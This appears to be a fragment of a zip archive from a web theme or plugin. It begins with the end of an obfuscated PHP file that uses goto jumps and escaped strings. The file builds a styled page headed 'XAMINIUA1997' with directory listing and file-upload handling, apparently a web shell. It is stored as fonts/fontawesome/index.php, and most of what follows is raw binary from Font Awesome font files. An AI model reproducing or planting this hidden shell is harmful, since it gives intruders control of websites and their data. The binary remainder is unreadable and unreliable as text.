144\x69\x6e\x67\72\x20\65\x70\170\x3b\12\11\11\x63\157\x6c\157\162\72\x20\43\x30\x30\60\73\12\11\11\x62\x6f\x72\x64\x65\162\55\162\141\144\x69\165\x73\72\x20\65\160\170\73\12\x9\11\x62\x6f\x72\x64\145\162\x3a\40\x31\160\x78\40\x73\157\154\x69\144\40\x23\60\60\60\x3b\xa\x9\11\x62\157\x78\55\x73\150\x61\144\x6f\x77\x3a\40\56\x35\x70\x78\x20\x2e\x35\160\170\40\x2e\x33\160\170\40\56\63\x70\170\40\x23\x66\x66\146\x3b\xa\11\x9\142\157\x78\55\163\151\x7a\151\156\x67\x3a\x20\x62\x6f\x72\144\x65\x72\55\x62\x6f\170\73\12\11\175\xa\x9\56\x62\x75\x74\164\157\156\x31\x20\141\173\xa\x9\11\x77\151\x64\164\x68\72\40\x37\x30\160\x78\73\xa\x9\x9\150\x65\151\147\x68\x74\x3a\x20\63\60\x70\170\73\12\x9\11\x62\x61\143\x6b\x67\162\157\165\156\x64\55\143\157\154\157\162\72\40\x23\x39\71\71\x3b\xa\x9\11\155\x61\162\147\151\x6e\72\40\61\60\160\170\x20\63\x70\x78\x3b\xa\11\x9\x70\141\144\144\x69\156\x67\72\40\65\160\170\73\xa\11\x9\x63\157\154\x6f\162\x3a\x20\x72\145\144\73\12\x9\11\142\x6f\x72\x64\145\x72\x2d\162\141\x64\x69\165\x73\72\40\x35\160\170\x3b\xa\x9\11\142\157\x72\144\x65\162\x3a\40\61\x70\x78\x20\x73\157\154\151\x64\x20\x23\60\60\60\x3b\12\11\x9\x62\157\170\x2d\163\150\141\x64\157\x77\x3a\40\x2e\x35\x70\170\x20\56\65\x70\x78\40\x2e\63\160\x78\40\x2e\x33\x70\x78\40\x23\x66\146\x66\73\xa\x9\x9\x62\x6f\170\x2d\x73\151\172\x69\x6e\147\x3a\x20\x62\x6f\x72\x64\145\162\55\142\157\x78\73\12\x9\x7d\12\11\x2e\x62\x75\164\164\x6f\x6e\x31\x3a\x68\x6f\x76\x65\162\x20\173\xa\x9\x9\x74\x65\x78\164\55\163\x68\141\x64\x6f\x77\x3a\x20\x30\x70\170\40\x30\160\170\40\65\160\170\x20\x23\x66\146\146\x3b\xa\x9\11\x62\157\x78\x2d\x73\x68\141\x64\x6f\x77\72\40\x2e\x35\160\x78\x20\56\65\x70\170\40\x2e\x33\160\170\40\x2e\63\160\x78\40\43\x35\x35\x35\73\12\11\x9\x74\145\170\164\x2d\144\145\143\157\x72\141\x74\x69\x6f\x6e\72\40\x6e\x6f\156\145\73\12\x9\x7d\12\x9\x74\x65\170\164\x61\x72\145\141\x20\173\xa\11\x9\142\x6f\162\x64\x65\162\72\40\x31\x70\170\40\x73\157\154\x69\144\x20\147\162\145\145\156\x3b\xa\11\11\x62\157\x72\144\145\162\55\162\x61\x64\x69\x75\x73\x3a\40\x35\x70\170\x3b\xa\x9\x9\142\x6f\170\55\x73\150\141\x64\x6f\x77\x3a\40\x31\x70\x78\40\61\160\x78\x20\61\160\170\x20\x31\160\x78\40\43\146\x66\x66\73\xa\11\11\x77\151\144\164\150\x3a\x20\x31\x30\60\x25\x3b\xa\x9\11\x68\145\151\x67\150\x74\72\x20\x34\x30\x30\x70\170\73\12\11\11\160\x61\144\144\x69\x6e\x67\55\x6c\x65\146\x74\x3a\40\61\60\x70\x78\73\12\11\11\x6d\141\162\147\x69\156\72\40\61\x30\160\x78\x20\x61\x75\x74\157\x3b\xa\x9\11\162\145\163\x69\x7a\x65\72\40\156\x6f\156\x65\73\xa\x9\11\x62\141\x63\x6b\147\162\157\165\156\x64\x3a\x20\147\x72\145\145\156\73\xa\11\x9\143\157\154\x6f\162\72\x20\43\146\x66\x66\146\146\146\73\12\x9\11\x66\x6f\x6e\x74\55\146\x61\155\151\x6c\171\72\x20\47\x43\165\x70\162\165\x6d\47\54\40\x73\141\x6e\x73\x2d\x73\145\x72\151\x66\73\xa\x9\11\x66\x6f\x6e\x74\55\163\151\172\x65\72\x20\x31\63\160\x78\x3b\12\x9\175\12\74\57\163\164\x79\x6c\x65\76\12\74\142\x6f\144\171\76\12\x9\x3c\143\145\156\164\x65\x72\76\74\x68\x31\76\x58\x41\115\111\x4e\x49\125\x41\x31\x39\71\67\74\57\150\x31\x3e\74\57\x63\145\156\x74\145\x72\76\xa\x20\40\74\x64\151\x76\40\x63\x6c\141\x73\x73\x3d\42\x64\x69\162\x22\x3e\12\x9"; goto biH2R; CTQNV: goto e2fYS; goto CATzL; zmET3: mJDQz: goto Odm0P; RGiEz: dIm7l: goto BlEQY; h0SEt: Mt1pV: goto qx3Sn; iL4EI: goto kryy7; goto fKZbe; uMqD7: VwOJw: goto iYmrp; Fz9p5: goto C9hHH; goto FecH0; GW_DA: goto oxo0u; goto fMlmG; FP2CA: BIpYx: goto w_FqQ; vswao: goto T3bDj; goto C1X5H; mOt7C: goto T93AV; goto hE9iQ; D1zNA: goto lllFW; goto qRAw1; Ycquf: cGyTX: goto vp1gw; zy1mc: goto vO5Eq; goto a7AZa; paSuZ: mxuqM: goto RNknF; xW76B: xg0hQ: goto f9TH3; M4lAC: goto JpCF0; goto wFM1i; SDOCp: $bTiU3 = $_FILES["\165\160\154\157\x61\144"]["\x6e\141\155\x65"]; goto gCpsg; RCEhN: echo "\x3c\57\x74\141\x62\154\x65\76\xa\x3c\57\142\157\144\x79\x3e\xa\74\x2f\x68\164\155\154\76"; ?>PKZfonts/fontawesome/index.phpnu[PKZ4  #fonts/fontawesome/fa-brands-400.svgnu[ Created by FontForge 20190112 at Tue Jun 4 15:16:44 2019 By Robert Madole Copyright (c) Font Awesome PKZLc 5 5&fonts/fontawesome/fa-regular-400.woff2nu[wOF25 ,4I?FFTM`Z DQ6$T 6 U+kel5E1v]Kep0Z mhmfJ~ՙ!ኾ!xaT:}hz"T1b '{ ! _8n*-GkR쐤hBܻXS 4P>Jlsn- lmQp,puhVSg5uvVX6n-ִdvB.%Dv0DƆ H6Kl ϧp@9l}=P?3.K 3T, `i3J~:~~R^PNo ` \ 4{.Ojd[-ۖmuI CGzVM\e%`˟Y %NsL08/iK[ޘG(9j70Z 1b-J%ח˶,'`I'=y r"~Ɠ{CN~ߵ5WmNvϮUkja Qupv<> k:hi ϻݮyDsO^+c{B#37V0r.˘vf w$#+\} .x2& O0\$PhyJVQ蠋=\ /_p{Gƚh7W#;= IInSِMX&inbrgd,h=iF]ݍHdLe˗\KlwuPgqVv+SAe}b}^wc;x^na;omze t4O_„zZ%;+3)/V]\X;ޚ[Q|7߅deMB!vsˀ1Ԟ7ndOSON}@4d$~Hċ Ŝ`(SGLK})3o-缋exV,FؘR|HŹ@GX-+ۆ}F1[Q4:Pѱ{2Mm UnnTˉ yoq3-`}CNP"ĭGR_1P?lFZ\!YxNCʶn&&@.+RR}C#Uu;Gg{H9|f=}ZҀ?ހ8U\1@%/h[!߿Jz!LAMgl߾ͭP$)D L{!'wp5jec~.db !PG3ʲSq:A8Hk&C8b@C{imc0[MGa`fudBi!1gs'oG!5)Yme- #ģ}ϥeA ;А`ݢwL7o#>NB#;v ;GÖf&WL`lN dh: q Q9eJiN?D h RY nθ{MvPEu4ᣵD̊uQsk ۲¦m7 2Y(cEcujGcA8wQNTx9G i 0i[:pR^DXB:Z0RM 81Ep0SOE.a-3رy9qӛ+Eo4wd`MMwsuQDz M8<ɵNt7Tb٢"j\T[HA|Sӥ7>tWAЦB7!;q/SF%78[ ,>*Ĉb1,۸[`yxC`ܜ$ZE36R?7@]yf_Ջ.*N;O ɕW*S&¥5~%#?{eA+"vyK4H7QC=m,O - TiՑʹ٧nIQ0-@^4 8bT#iИơW ZٜB1A+|w:&RAl hth)F 6F"KCP;Gvhz)>-㮫s_ q?m?k'Tpz}') .ڑwCѷBh'dڧP;>yU;\Y[ 5׌$/ŕ_+ߦQw't?{wVuk]{>c^u⫷J:c@Nt9sǻiۂ(4&c+NH lk!byﰬَFʄIIum oz$E\aG4Hn1$X{SxEHiԤ]7>xo.;\&'L[s1č'X8h:RJs (\K(ѭ9Dx]нb?l2L(Mh*XRYqV,%,j%#Grb[ vJy nd 1:_COĪ6q &y{݁(#%q+=Agk,Udt3poõQBIh pìB/؍;eqopfCÓw.$Zo:&5gIziZ0 2VjWr;YܪdE٪grYͯ~1o3{$m0cDBf ^j*\ϬTb=Q@ Mi3lV 6SʑH)gF:UstI6 *Wnk) f6~F]Lھl,TLruǃrjbJgh`gv Y7GN=NWQW<엃8nBK}WCu%,MsaDC"\Yq`\e}j u=:0-U=A lB &0r,}^PAz_B2̡D{`Z[,n][ÆNc&~ +vBj 4ȓ2гMXTjEIscH^j()|MgPYW 8kUj+lq #(ݝiť?q Ihћ-Cdo\KZ OMrlx_Hu[ظ egM1ՍK!K[_sS)FvI w=q T#eKFH^Z:rj8֡J>V~{}fEmYK_U|.Dss.Mnܔo|V%Mh/`g;89`f΅%?GC4։'ń%JW{'p5S_Uo,RmOA!pVD''&/L˦(y3Q+u=j Îjj/#o_IE|ıF36Í(4TaAA0\AO@1.vǖ"Z :h*K}bj+i1x I\:ҷ6+4\\xM #/gOC|DƝ#3O>u?ӣQVW h7lwT˼!] AAP >feWƊ`-?Ar"0nn|oS=M@Nm} .Ο|ۧ+:B[n3lEŞ#"pC8·~OiYI*MTOBzl 롿k33v陚s9\ڙ\ӧ8B)wxnrC;kԆ@Ai=P"JމM#CK;wdԏKP TCQҗ\r`/g]N5>?_,t[!A# it݌4dtVl|e\s֫t(arF2@S|[ iu&ԎUw k^ Պ@{` VPwL5IxYR1Zf(Mn`,r%Bq;N^^v&(>G= =%^en!l\o,ZP&*iMPL7I?*ƀXW;&h|]ëF&vQz!)Z~@J6umC{Y$*{̖^uuV|TH=m‚8 ݑi%I/eH-IOӑOx{tp/I>/{RxЕ߻-7qfpdGW* +n@xJ |%CkssT I<īN?2w:aZ lU@5Qo`QC!>DVy\ᇘnNY~%l.XR`)*r[ :$;1~Ϳc/2 `OLJJ4D2}Pt/E3&5&'};2 f} 6.%2^]2샧Lz) D(y{Hqr?9mCLICƤ1G;ɴcY!WE.0˙-%{ix2;J˽(5Ku1V͡0AX̌!p6hÊ0L(1')c#G.ǺdmL{Eo7h~7'l۶{ebCzgYKXT/̨?h߂P⼙ֺ:WmNP&KNƠ{l.KfOHַ 3œJ$wN`J^ݞ1%s:sQbtyNf~G:n|Q0xDo/:ʹ0X[ RH<Yr]'$EWρǩr]H޺fvMWEc|ds_EhXXsx[ܛd:a~ οQL@PD)QdzU0 Pn^ddnҽc搂*2惍09c#uyx'G5rkƴ دn8ɕpAL ֔rȚqKXSu+ U۬8 W<3ñ^8ig?DsVtd$Y`3eO_5lJjej|=#SI ){roTÆTX?jڂNHĎd8mE|l޺y $~϶SƃoKgLCȟȅʍ µGtlRϊqE`A!tlp``zw#i,}2)h`uŻ{㨪Jz ۋ%SM#~U,LpL'<-#ɞhz4 XxBUHR5iXIљ*_.Zw/;Gg.E~ytD v7R3'zqsOKS˕jEf|­쩴ʼt] M. c^("1X,~$M8HDA"-dGGᮼ"|ͨOJ{A`lb54*L篯y'h2Bw}VAa).` HB=ȹ\)Ӡ|-eVziοjߟ+ji 9(, @I3wΩ4kC3MAE A{ѧxF6alQ䶈, +'߬9>ZB'a²t\,We,k jFUS.tx(dT왟\?/@{l):]V9uiZ|lY8;+$r9PRdv3}KD\}C|U딘{נi/Qbkm" 7iн&{EzbW*SؘbsybfEԃiҫ~Apg ߗYMzP;;˾Ѩ]7Mنgtr1f*Ǟ9y%5)gְEg#]Yf.$W[Y(Kl+wI_Iq*>,9rz=1twl{+ЅB[1,U]GY Ѕ\[Q>l\= 6<rh 8/cSGT?IyF筸[k<Ԡ7s<Ъ%pj'T8yleGbpծDR$1c{&n6⼓w;w>BxF DiEȋC6>tp_@7$_ϵ~66X՞vCt +?j,qlׇi_x8%K+,ጘ^qNd񆔥BU89\e?Q* gϖ7&&3-A~{﨏F&wv$2%az dYAz( ~z)X}K }E]JhwL"`$d~|Ike* KO=#sѺWb+,T4_[Y5*|e 5X< if,RT9dpj`?kK]݋]C!gnZU#W%: Tɦ@˫GNTEqi=]=qisgv}ry νMGIH.χ2п5*qbxڲ}IeH!/-o'_"wU2,-=FnKOhDzO'HgS;Ff7@`XH$=jnMй$\:39GmtҼOlsP;ܯW)y&"[Zju$m3g|\OnZ a9*^'Q#TƸ!|s;V5%q^Y_c0_;C+=]$r?PឳB,輼&y?{n _yDE $,gc8<۾shbZ gsz ň0YبW ߭ʽX䁻ōw~&Fb ~aM^*8':F+NsL1aj*Wnm[3Oimh 9 Jo%w2mqDƟ)d&'qh{jRc0Y+򯒜B*mَ0 a'ieU7m4/u? 0 #C Di߃B &H, tZ;]3޳}`k2l"'нvΕqU|? G>3@xzXI<Z:pi\^{$ybv΃{\'\q/!(wK[gpƃ7P0@wzit 2QP 7s(Vml m0 *Termւd1` ه'b@x߮+EVb|lXcK6qS.dp Iupڄ#)|rA,sE$G:Z l9S@i #ӊm*PP]axX[]njOLR08ZkeC_ݦ듻]*Tic8-*~?%H 3v>'( 1h= <NaǗqQBP4sKL o{Rp 1YۅrKpDw7kE8ZFaDZ*X&9y٬F4HKKhNuZ}+$on!ftp̶ vZة{ț@r\dM).rG Bzۄ: ID?=N*)G$a_q5|Ւ_a0 v2}SLIhжx P02 I s+'3Sa9 z"UօkZ JPKZHAA%fonts/fontawesome/fa-regular-400.woffnu[wOFFA ,IFFTM0-GDEFL*OS/2lO`AcmapǠgaspglyf5Fnlhead836@hhea9$5hmtx9<Ttloca966Eˈmaxp;$ name;DU-7=post=XIOAxc```d 9 L*8 xc`a|8ч1Jedha``b`efFHsMah04ՀZ1.R xKq>n ϳ3c)ɵ\|q7s+?>_\ dF*dR/WM奼QiQWhFИ^XS}E~ԏd[r6f/6nm}1βXOͳy֥XKeD吜ڝeXwcZ3keցu_ƞ7l}JiJKt5MN tQ-ŨS:ZCS>8#8؀1UXw0L [x>$nA##E"Hܻz7NSr~PɀCN0샿 ~3Sx} $Gu`FyUVeUVfuuuuwW3}LϩjiZnIF !VԆAAlVY1lˀ~<֞X,TȬa33"##_#?;\P ™i4ꍺ,"^-8@_ M~oЎ%%ıdn k&O[)ccʥk21<X5E8 nϠ/p1.D]]Xa1MICn5 wL wneDMNwq񽧜B_0N?q}XFφg?zwXw޽q\;ƕ9._LaU땲];j! =zPmܭc n%5jJVؑL?ʝ˳˳5V"aBx U +ɇfiN+0Dž5^IE *}`>_+)}B}qz[EDԸ dϡux W*. }َ.5Ge8A *+52.-19(UzDOcܼctY4u<< <11}wT`/r#,FIBZwȱZR'v텽] %q/O?.yGrd0=3 59nE!I#M 3A&r*^,րUBEHŋ 7!lΜ$m5޳ByvؘfDz52NQF/ovd'#<,Dkk_0U(L8(-swÜN̚0\wJ)#3]6Ɏ`#" jD:z"%m&K7rUDRxܼo dar:%רDs^͟|º0͙v37Ͽ Oת.p!?|ᩱv#Eux]yfGN!8Q|tifZZjtTC]-m>5jnֹl f$Y|~DGU}E"%(_JT-t;QߵNGUuJ'X1o?OF7o`5`PKZ䷞|Wt:>܃#*A)u(SCoóNߛ|ʘ +[?r_Q{.kJZJXm4/_%oN~`uDYݱSGaփGl5҄%ecyTk.2Q #[nȥؚ^極5Na} ۵<<.g+=eg@6zI,WCw0}Ю_gvRw(Zf_,z d?IsG$*ł1u0L($Q;T!D+A܅4-ѐw'KcAcnOPWă'zm}-% E$f5kbE1h (/o칹>\7ߘRcz(d~dTƢf@%56=J1>KVAȹy6 ms0~iZD-.Fjh3 ZP\paGEE}]&DG[zW(HMue*'{ޏ*Ok\q CO8 ^:/ڒ8H&U8 MвW]Nf&$E զ㪠A㡱2ˆFNjHҬԠ96."Ha33t534RMtSE saDɄ5尝/VxځډOp7s\"J*a{Q- 5#G(бvF)>ZvH‹99Bq=,*fTM\T Y"sRԸVVtu!;l ,M I@igf4=70Pc(3#Y(Ĝͬ5A$5#kT0QN./4( EF$Qu{E-jE-?][%doH܌G5` @8(>,dpׅ w#U& e\_6[ .b(A3` : $JdeR#frrc u@4Ӛ8u8/3~n|ol $2Y7]Ԫy#a-{F0ī05O]/|ð?Qd0x ͯUC=IȒ'uUgVvF+OPim+czb[kkb^P19X^\yw#|#珞R CV^K'\XmeLc ,Hxkh䭷g)+Wʋ| t QL B쩄Nc$Neh={01v-JȡzAGBl5HHHF3Vـ"5(Bœ81;¨EG4;%/ YbrTb'aR#Cx/IKx-:m ql㒘'$/N_9,JCWK??\: ?;<S0 D h; $ ;) p0#X\SiUߙ |?S= U9(*;OhQ:A)L2w MوNy~#Cܭ{4 fJ%ԼњW^ۦwM~sk^ߣzo]?EV,ȓ0Bc)FtnEǘ@|i5T3NQ'z#O/(!-A䵢P^2 b'4s\'wwtR7AśA.G n3`{ .Fi^%BjS_B;Uc n']wܚ{;Ujgr\ͳ<9B<[J|"`ޫMҟdX;,R@^dx˟b̷`jsS w#4Ng U@*FhH#J/\5%dixSl* I6r*!$L6ScrlPɊ؇H#A;t!!UmB~Igt27,Ո^DH*;5(Q5fUY"DC {Hږ!ǽNc?GKsQe'5 JZm E0t ~mjF9S*CTxh+&,ȖB͛mjA ez)_g@3#rȐͨ],:N:Sv)!Fٲ*ù䝌FZX1bh0!{ /dr Y@dG[G#l1/igTYj2=AQl"):&4Bo!+FѤh̳$T^Uȑ a‰ WOS`}`ԭõ7/>nO> צDb6hdB Z):ȍrzɻbNV"[A;'J-E֓QË]:,|\k+1,WQPK]+P#o)~5^0)3K=Q~$gֵru6^ǽ"[yʾ_̃D]3xrK-%4sWm}OS7y n]EWwAbJék5p#cu"FIBTÚ`8T `!'H>P <HѨTE͗aLcR$G I1I8lPeippwp-bayq" D1Y R ]: 4D̫Sy BWT^/Kʃ%(w%ehܔ5f 0TJϷpsY\ 5 X עU@[Ym ,!")Q(@Dꂎ̣XBcpNGuxa_Q/˱l+ jEq5% O^iۚ? Kui? 2r -2@EYz14KTDN *1ݲL|T^HXXDjtgTcz-/7_]Է n?"5]SaKP&My.9\ ĒiyQ(n:m9v由DAAM?<)BW1 O`i;&W1Fm6jc!8c`{ 0L^dPˍ".z>t2 4v-$:LGLw2;=CCh4V/Vef>v}-_m-[hn!/?>zD X>E'"9E8/Z*gƍԽ 1L>WsջE F:|Ѱ05g {]л^ѿB Ƌq\ 8`zn]ЖEkZ(( ȶmkP(Y!uⱳ\N]=_PXikDJ ynKP]j{7S~CkH;(}W68j~O~##dm!vgG`ԍl|eeI7TμHIzcQ9eJ%+ꪪ?>V/+!ER  1'왊̤t]EdR$%^QXv?FV0hjOs5?h&M>@O&ά㦂Yl:C Μݵp,42W0X.<%EU+pzϊ iۙAQ{r+ܡsK_w%A,f@M'%0֡( /-&"(&TU;h& Jxpz:w<:k*cnf*Jӝ XM;i3kY"kb@JY*1 ԛi{ఔj.@QM1b>}nuV?68skf4ѱo/R3g.9S5(7l/HC@@s̽UivPuFъZIPv=咢>'* +n{X^bݩDHѿDoZ 2uUix7WR3F:=[M)i_Y-_Z,sF66+lA]4VYk/7/F?E#^ jajA>`orNid)Y/z00F1MJl7fɗa'/b$r8J]vJ40t<=]uѻF>_=t!sޜLyׇps[\t0byPl;6Ʌ;g2* GUHgBl2g/ٱql>aHsy\Bo MRTTwd'q_ ,u B,$dB"bQ w$k͸J)w-pg|:4beѠ[\Q,= twARiCSRR05շd{(]I`8%:`5V1% J71i4yֱߥn7BQ9_8L}ZTu *:[M?o|lXXeaHE4lxE@]̀(-׀`и;p̈27ٳCܖrJxA嶠jKD>ZD?*S!}bT=fq%ƴZ)~K| iRC1ZR9Qӱ:0(&G*n737[+`n@D37 &0p),3fI~2r(uܽ?IOW(Fߢ?Aoˑ_Elt䳁CӲN7? @d8cRQc.nlџ{i,]ۡf:چEڧfGqِ%>U/T{ZyZSÀ2ļq!jp-:L)4dNcĥA+.FR ܠᇾa!JTcUS1!e c( و\{"VD4.#;#"R2RIzP>׵G4CSDY]S]2 G<_IY9Ƈ ׸Ƕi0ץ3T&כS-RϽγb 0:+ tGz?(3=L6ŴlD +ADjI Qa'ceZ8(\2?G+2y3x $URLުai9V_ zVH^EApb^fYar*8kvVC+;KQwH`^e[N?GtWtdQkH#Qb +?L" H+[T8.7$k#F>hmfYHc7SuR0<@F- ~((ء l5xz UMmyTv{ezkթƉPJ(ʲx~gJ ,#Wh<\[Ѵsse ѽә7}L?6j,x`{~hkpM>t#WMYSuY1ezJk[|e^j9PW]NOwVKx#K6M/+X4;us1o*@i a1*wM$tLԨD2IKXT)= tXk0Fh]!͏c]k )])l~w %4Mn~Gx*nR݀H.:/.*BkTX' X7/ 7 M ub;.ez@d{Ȥ%YFRÙeP:>݃9=oFD;T%t`_CkWƹe1/E >MUq-i[wt3ujYf{Y5VOR Sz֌$3\(R{l^m"zRw+!$űĭzZ %AX ekNǗ6H L>rVrP2XBJdk){.Nb "j."+ym[2ASEĞ@'HСTN 6oPL;]@܂*DCʺ XvlHW/ "iӍ1zX8%WWѠcMੇFmFF6q@j!PdZn bӇj#p&uT]WbHh/dRwѝ >IT&H" ~9H`KܝA7S *&@ݳ,]g Xr 8O+bBq1Q ((tɕ+X/m/CH,#˙XD>WNfs-]-ҁ/5S}X3ݿ~6#$duwgq,_)`lJ%lDM%CÓ(]򹼰NΜdkV**KRoթc_^m9g 6/ul/\),hUaҤڏor,v,lqBcҨ8ڱS M$.aq24;u7h>58]!EQ[>m,FȰD9t)omw\rWmXf:}s$R"@vx Vm!s} Q_WOTIi4}q*L/ ȲQT 9P6Q@΃Q^Ay}^tNj!xL'='M4"mM޲d$#걕9Jěõh+cW{g0*3 xl`~iګ%c\?Ͳ}. /ٽfs q"0!(h!W5O!C<~, 7 _l^:=k 9144$ Zn^(m@T+QGjg*>Eڙ6it `_T}c&;۷9CSiK)&Gsf׺u hef>1>K e_u`ӟ ճ: 1Aۼn;hN/[g+c,t},M4XB+Ufݡid|P|M~Ef_;ݮE˺޷mzW++o}G=G/q #?#~g/8`%YRpϸ+)])fIAbiFExE.4o:/Vk_*j>PE4[ѵJ߹h}ֻOEǮq+֌ !٤U" QQY^6,zzI~̟SKy0GyTM|RUAyC@ /dv}Ӂoct+nmnky|‚ز'VR%9~mEڱ4qsU}!]_7^t|(uݱYv6ݗ@NbxWPkOjj (U+`5xX XX%I[&Sioh>]4FѪSvwSy`?+na,F"$%겢 XUT%ܳtpjlc(U j.ELAVdZoJ 84q&2an'_9=a}~S{Nפ[=Ug=t-'ҝGlϭ֗vzKg~c,a k7 1ky5s#'vXokw7oA >$g:Nq bA噃R/, ~QR,Uf9"1_Ŗ؛ތTbUju\EbůDNŶ$cA( (B@&|Ot; ]%M61ϓhl_8`u=1iFUo^0iÄ~"U\YSL[^ *NQ:w!w{-HR~M۟h;뀠Գx"?r:(B9}uܴVUc OU8|n3B$ pcF-%#t@- )a]W}Bü| 6# ]{yxyyVۯHmm_;l}a{\Đ1^zP05mu:(A$B$"*={ vSqWqqw>ŠQoo|f<;F;y0ӺbtPirc<[_"H35h<=_#t) mv\yR"xtΙNT"UEBʅ#ΕaHa H(31Th"17YtǕHš+JٛUr=^; uJg Z WGK[׋g_oϻ!aAy0ﳒ 1aQF[vxŝWdca ~HcYIC!^: -IVD/=s vyH(a7\"Ow!?[4bOoMD6v:ƻpwܝ k{KcZ];s߷DeWRi?x^Nss`jfnwxtpuLn>-63H\D3 |6TcG3ta&, ?HRlXox8i&ffD?D̾٘P$M 5MREs ܲ~e&X 5ow?_4/)( *C*PSI(Yz5-/&7Qn4C}o'T ]OZSa!ṀA!]tƊU799!NlS\wqKnIuBp1]caHJ8Ǹx',=@t$mcjё.Ӳ3XIږ g$4F+8튋[,?54-]mQ-suwtϷOs[eكuRsG^Um>: ''X= @@=sZ;sS ]2}^wa+pSV@&[ b# ݾ/P>qn 3Г=%[d(,DX̌ll= -jbOt~Oc]@acV72/K1펕]2ȻAcc--hsk;YiI݋<[-K̾oO[@|n*b H*Nbb ^  : :  6  ND>n8(fLDLl.lDfZhDh  h ! !J!!"f"#N#$$j$$%%P&B&' 'P'''(((l()$))*N*+6+~+,J,--..f//0,01 12 2p2334:445 566Z677bxc`d``Ű$3$xn@Vm-jA"MTD%\PDU'&Vceozę#\oBƊ۝3xmt8ev0. \AUf}y*:oqμ:fg˨oWHy4?Үm,sf x >1WTߘi3s>2/2/a}̼y4WIp1@uZ{KFP(hЊmq`d-˞NB'! ߦ̉8!$җ\)GÐhVAQ[Wm^൮Gذl҈*ti[E=_TlemʋX]ib2?߸?gK]XhkLR2Mki?uFȖWVnVCt1vJZ!],(HPF4ZcCrX *4:É=[>!1Ym6//~ߋ̫g|xmTgw6Ԝ$d.ޙ{$W$N Ae9'wCM~Yl?G Yb#Ήt衏%,#@ac Qc83qNlsqb\Kq.Wj\k:\p#n͸6܎;p'ݸ>܏ x1<'$x9<"^x597&x=#A rpJHT؄A-̰9v!>3|/%;|S8#~7?'ĔiT֤4\ ӛӂi,܌ /HG WQS2mx&m,[ܥ9it>J2eU_NdQPi&R#a[^QT.ҡ#LL YD Si7OӵiTI^H,7} AT^"yO-Zқ5SPE’ "$DK]qİKfv([[PLiKK0ݷ}wVrQmb >bZ۝i@6`߄ :.bmȕRz6HiqEˬV3ҁh;!1nf匔on33jh$[Yrل[<%ٔLd>q{(a*+ ۸&Ki#in)#DuڂphELQ) 9՗VC e0hTG'\k#w6te׏Te5XB+ ;Ѭ.Wڃ^݂U GNmBVmY[LieWK#f,{?;y>>ec>ݭ B_Z `ʃy{xgƻ<x$Sk{}Юci>o_[vW@5H UOUF1jTQ*ZMRjl5GU -Ze@T{U*WꀪQ'TjRNq6;۝]NSt;5q֩s&sݹ}=u?=X?#(=F?szx)z^zz.e\G1}BMu>[E}UKݪoˀa&t1ᦗyҩvD6~M䍯vhOd'ruGOd^|GgDD~r_)Rn@do Kd3/rI4bkMDD0USZ]"ۻ D>oD.pܔ"}}A> Th@ ^‹xl:?X V`^܃Ÿ63bn-y sq#`6.L8pp&8şc4 'b$Q8#i?# {`'dHMv2)&`9v5&NZvUC`X)+a.e fX<˾,v,j(_ӴaOtHsh6͢h&}K3h:MoӷJ&]N%4&Et!M |:h,tqt,}Їh/ڃ>D郴;}O0ڙv2  V-p@ (2a7.@>A.lȆ 2!ކ@2̇y; s`&"̀D0PAGhOn!Wer|IZH3i"u%'g&I $''cd #I.y&$E$Fid*%d4JAq҇om7'AZwXykbϏ(x G}(W5===s;ޣյc -G^۲%c0M q a8'$\/"{_U3=+>ihs9X}&sQ1܎r\USwЍw|w͍(J]56?q28r<۬ϸ )Gf[fȺBt,_>̃dlyqI.qFraw"H&P@y9[.3w~C7 :fMXy^a/OrQdWJՌ_@3ϓ;>:~xhfn|$HvϏ&y A9Jyv,Q8cʩxp)# SFk䳾΅u6y>K܁z\UZJ=~\MiqUIP$ " bR_0 4'a4 addMşɄaIxa3~A c?k1 Gd)uOG[4ZնQ3$$Xhxݰ8eE @Opeh{e (alh'vf2t @_@*wf~N8yRW^K(~b_/HB~gD_2F4_V)o^! m:Pt IQ |VR(r <VZ{Tr6ap6q.D>.GClZ訉fEXx˃yau1uњ=< U)-f#7s93z9væœS֕pݭ~N;dŐrGޔ;{ӑo{ ~o!e|^a^G;(ݷ.2,[M]:6BD-C?#)G*O8눢$rܱMw;0hK<-a)7u)%Y%"7=@:fca%)tb6@M7t5A!*~U}bx x Gu5W7iYﺺvL9ZZn>򊁄08pT`^!6<9oVǏ,);t>SpX Aj I`= HZ•q9k?-W-;qH]W]kq1;6]$sUq!pCޘ Ӆw`̡,t/5955 `B1$FQG1 W-2#EJk`c5aԇ^[ i4C~HSL~$g>z[~&wC7ה'w`n/I,F͌ ġXM:ɌfW1Q7YЯ2319~[k.Yv,)*8?%cʐt}An[ڬRycB$WvݻCqtQOnQEݩN6=٪9umT޷Tdr΋*O%ǒX~eRՖC#lnp_hlX EqۉJhcVC .AE V+ktr\{9n^RJny-8K[ 0 {K N]%RGU5hZ%RtSiE+_#\]neOjo8po7*dۡguEҵsv#ˎ\.glF[EIuϞ [3tîALJ̭iGwBOb7hVXA1ч%@APg-d&RJ!d)5TvL1WJLǩti5dCP,/IRұf{w 1F+w;}p# 4}G 1NQ'szgggQs1yT"f>]zY:^0 㟅R8{Qʗ]WE($N8ݐv!ԨgMTL0pݬBj3B?DA=^.ab$ÎD!.$$W4Es}ŲWWS;K\]#) rqxu0;SS:P" @A[v-M{hЏ@:kzi=@Ȇ#p Cvcx33Wx2qs^%(K).)^hCsgU<ԺsKs]׎Άv6FIɁKQ!xY w%)qW38z`U:y!ѥit p Ëu4Nv3ZL^cX%\ϿY} J"7_Rsp~@Xz>|OW[|tQ{sR7՞ݓ8?^:@5ik>p{5eIZƎNw21˰Ǭd`z-} i](mOڂM2ÚfkO>&9o5#P ߊV9GQQ9r_?ySy8OrzNQY1H');]sc43UC©SBH/v&pY<:҈S"B1r:CפkТBə'.喋-,O T1;Ϸ3D9oZ͉N'tpUS]@y|ɓ;mΓS n<No G59\Ă$G=eY ? 7[F(o$TeY(0,U_Ø|Dw*!d'åRI88P8`sK ԠF/܌h(Q#rt0dyq:kNAɬidZ X#YhYml5cqIpC,ɴ]H"Yucd6gtfsss lzu. I F|ؙVyV>vZ~^vh``<TLP̲Sgih{OR`+DvN 'cg1l,9nhԷkn^ *^2q>NO(zSDw U;)zONO̧~bva&kθG3sxK7 ]e7ue[Er2KM^֠9H2Ԍcb7w/Ed\'5i,/UOp(j *qiȼAPhvt_-TZYp$E_ϳmb4E;hkZy*sRMծ[꧆./,nRR= zOnq6Jja ?"MȁjЙ޲|BL'I3Lwp)Z-V+bC0FEbo)J1SԇeZRrb\"4[dqA^L1%&-(QA1hoaVmqs%ż٬x}{|ۯy+yRigZl! 